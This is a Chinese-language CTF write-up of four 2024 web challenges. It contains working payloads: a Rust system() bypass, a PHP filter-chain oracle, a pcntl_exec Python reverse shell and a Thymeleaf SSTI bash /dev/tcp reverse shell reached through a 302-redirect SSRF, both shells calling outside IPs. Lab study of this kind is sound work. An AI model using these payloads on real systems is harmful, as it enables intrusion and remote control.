前言
记录奇异题目四则
其中两题都和蓝帽有点关系,唉蓝帽
参考:
https://nlrvana.github.io/%E7%BA%A2%E6%98%8E%E8%B0%B7-2024-web/
https://www.yuque.com/dat0u/ctf/cn1gblvgu7mlacys#yJWEm
https://zer0peach.github.io/2024/04/04/%E7%BA%A2%E6%98%8E%E8%B0%B72024-web%E5%A4%8D%E7%8E%B0/
playground
Rust
#[macro_use] extern crate rocket;
use std::fs;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;
#[get("/")]
fn index() -> String {
fs::read_to_string("main.rs").unwrap_or(String::default())
}
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
if code.contains("std") {
return "Error: std is not allowed".to_string();
}
//generate a random 5 length file name
let file_name = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(5)
.map(char::from)
.collect::<String>();
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
file.write_all(code.as_bytes());
}
if let Ok(build_output) = Command::new("rustc")
.arg(format!("playground/{}.rs",&file_name))
.arg("-C")
.arg("debuginfo=0")
.arg("-C")
.arg("opt-level=3")
.arg("-o")
.arg(format!("playground/{}",&file_name))
.output() {
if !build_output.status.success(){
fs::remove_file(format!("playground/{}.rs",&file_name));
return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
}
}
fs::remove_file(format!("playground/{}.rs",&file_name));
if let Ok(output) = Command::new(format!("playground/{}",&file_name))
.output() {
if !output.status.success(){
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
} else{
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
}
}
return String::default();
}
#[launch]
fn rocket() -> _ {
let figment = rocket::Config::figment()
.merge(("address", "0.0.0.0"));
rocket::custom(figment).mount("/", routes![index,run_rust_code])
}
没怎么玩过rust,但是一眼可以看出过滤std
,有 /rust_code 路由
rustc
的操作大概是我们传代码就会执行的意思
那么让gpt写个外部的c语言代码命令执行就行(
extern "C" {
fn system(cmd: *const u8) -> i32;
}
fn main() {
// Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作
unsafe {
system("cat /flag".as_ptr());
}
}
ezphp (复现)
php侧信道
php8.3.2
index.php
<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
echo hash_file('md5', $_POST['f']);
}
?>
明显是在 hash_file 上做文章,能想到的也就是侧信道攻击,原理:https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle
exp:https://github.com/synacktiv/php_filter_chains_oracle_exploit
python filters_chain_oracle_exploit.py --target url --file flag.php --parameter f
爆破过程依旧是稀烂的服务器回显错误重开
只要能爆出个参数 ezphpPhp8 就行,flag.php传入参数
flag.php
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}
function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>
然后这里的 $a 是匿名类,但是 unset 会销毁变量,这下不会了
这个时候要找一下如何触发一个匿名类:https://hi-arkin.com/archives/php-anonymous-stdClass.html
匿名类的类名与文件所在行列相关,即同一个位置实例出来的类为同一个类
$obj=new class{};
// class名为: 'class@anonymous'+chr(0)+php文件路径+行数$列数
echo get_class($obj);
那么构造我们的payload,注意有%00
:
/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0
列数是随机的,得爆破一下,然后就能得到flag了
noauth (LateSolve)
pcntl绕disable_function
感谢靶机不关之恩,晚上八点才做出来(
进去一个登录验证
[2022-01-01 12:34:56] Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036
登录
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo '小明是运维工程师,最近网站老是出现bug。';
exit;
} else {
$validUser = 'admin';
$validPass = '2e525e29e465f45d8d7c56319fe73036';
if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo 'Invalid credentials';
exit;
}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>
不能直接命令执行和phpinfo,猜测php.ini里disable_functions ban了
那就用php自带的函数和类查目录
?cmd=?><?php $it = new DirectoryIterator($_GET['file']);foreach($it as $f) {printf("%s", $f->getFilename());echo'</br>'; }?>&file=glob:///*
根目录下有flag,但是没权限读
总之先连个蚁剑
记得下面的请求信息带上请求头Authorization:Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=
然后不让上传文件打不了 ld_preload,回显 ret=127 也不能执行命令
翻到 /usr/local/etc/php/php.ini
disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink
PS:eval是不会被disable_functions ban掉的
翻数据库文件config.inc.php
数据库连不上去
绕disable_function
翻扩展,发现了一个很新的pcntl
搜一下:发现是第四届蓝帽杯的原题,pcntl
扩展绕disable_functions的操作:https://cn-sec.com/archives/228037.html
弹shell
GET:
/index.php?cmd=eval($_POST[1]);
POST:
1=?><?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("115.236.153.172",41678));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
然后网页会502,不过能成功弹shell
提权
环境里面没有sudo,用find / -perm -u=s -type f 2>/dev/null
查一下
发现有su
,不过要以终端运行
之前翻文件的时候发现有python环境,可以用python起一个终端
python -c 'import pty; pty.spawn("/bin/bash")'
看一下/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
admin:x:1000:1000::/home/admin:
和蓝帽杯那题一样,发现有admin用户,拿前面数据库的密码可以成功登录,提权
拿到flag
Simp1escape(复现)
Thymelaef模板注入
审一下代码
/getsites
路由
@Controller
public class AdminController {
public AdminController() {
}
@GetMapping({"/getsites"})
public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {
String ipAddress = request.getRemoteAddr();
if (!ipAddress.equals("127.0.0.1")) {
response.setStatus(HttpStatus.FORBIDDEN.value());
return "forbidden";
} else {
Context context = new Context();
TemplateEngine engine = new SpringTemplateEngine();
String dispaly = engine.process(hostname, context);
return dispaly;
}
}
}
一眼需要ssrf,然后是一个thymeleaf的ssti,注意thymeleaf的版本是3.0.15:
Context context = new Context();
TemplateEngine engine = new SpringTemplateEngine();
String dispaly = engine.process(hostname, context);
return dispaly;
/curl
路由:
@RestController
public class CurlController {
private static final String RESOURCES_DIRECTORY = "resources";
private static final String SAVE_DIRECTORY = "sites";
public CurlController() {
}
@RequestMapping({"/curl"})
public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {
if (!url.startsWith("http:") && !url.startsWith("https:")) {
System.out.println(url.startsWith("http"));
return "No protocol: " + url;
} else {
URL urlObject = new URL(url);
String result = "";
String hostname = urlObject.getHost();
if (hostname.indexOf("../") != -1) {
return "Illegal hostname";
} else {
InetAddress inetAddress = InetAddress.getByName(hostname);
if (Utils.isPrivateIp(inetAddress)) {
return "Illegal ip address";
} else {
try {
String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites";
File saveDir = new File(savePath);
if (!saveDir.exists()) {
saveDir.mkdirs();
}
TimeUnit.SECONDS.sleep(4L);
HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection();
if (connection instanceof HttpURLConnection) {
connection.connect();
int statusCode = connection.getResponseCode();
if (statusCode == 200) {
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
BufferedWriter writer;
String line;
for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "\n") {
}
writer.write(result);
reader.close();
writer.close();
}
}
return result;
} catch (Exception var15) {
return var15.toString();
}
}
}
}
}
}
总之关键的部分就是起了一个curl的作用,我们可以利用它进行ssrf
/
路由:
@Controller
public class IndexController {
public IndexController() {
}
@GetMapping({"/"})
public String index() {
Context context = new Context();
SpringTemplateEngine engine = new SpringTemplateEngine();
String index = engine.process("index", context);
return index;
}
}
也是一个thymeleaf渲染,不过模板不可控
那么思路很明显,往/getsides的hostname里直接传入thymeleaf ssti的payload,高版本的thymeleaf payload要参考rwctf2024 chatterbox:https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89
payload:
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]
而在这之前我们需要进行ssrf
那么重点看/curl,首先是Utils.isPrivateIp(inetAddress)
,其方法为
public static boolean isPrivateIp(InetAddress ip) {
String ipAddress = ip.getHostAddress();
System.out.println(ipAddress);
if (!ip.isSiteLocalAddress() && !ip.isLoopbackAddress() && !ip.isAnyLocalAddress()) {
if (!ipAddress.startsWith("100")) {
return false;
} else {
int x = Integer.parseInt(ipAddress.split("\\.")[1]);
return x >= 64 && x <= 127;
}
} else {
return true;
}
}
其中isLoopbackAddress
会检查回环地址,那么直接curl 127.0.0.1就被ban了
不过下面有HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection();
,作用就是远程访问一个url
那么我们就可以用302跳转实现绕过
起一个php服务
302.php
<?php
header("Location:http://127.0.0.1:8080/getsites?hostname=%5B%5B%24%7BT%28java%2Elang%2EBoolean%29%2EforName%28%22com%2Efasterxml%2Ejackson%2Edatabind%2EObjectMapper%22%29%2EnewInstance%28%29%2EreadValue%28%22%7B%7D%22%2CT%28org%2Espringframework%2Eexpression%2Espel%2Estandard%2ESpelExpressionParser%29%29%2EparseExpression%28%22T%28Runtime%29%2EgetRuntime%28%29%2Eexec%28%27bash%20%2Dc%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzcvMzA5MDggMD4mMQ%3D%3D%7D%7C%7Bbase64%2C%2Dd%7D%7C%7Bbash%2C%2Di%7D%27%29%22%29%2EgetValue%28%29%7D%5D%5D");
exit;
然后/curl?url=http://ip/302.php
即可
PS:这题也可以通过DNS重绑定绕过,因为这题设置了TTL为0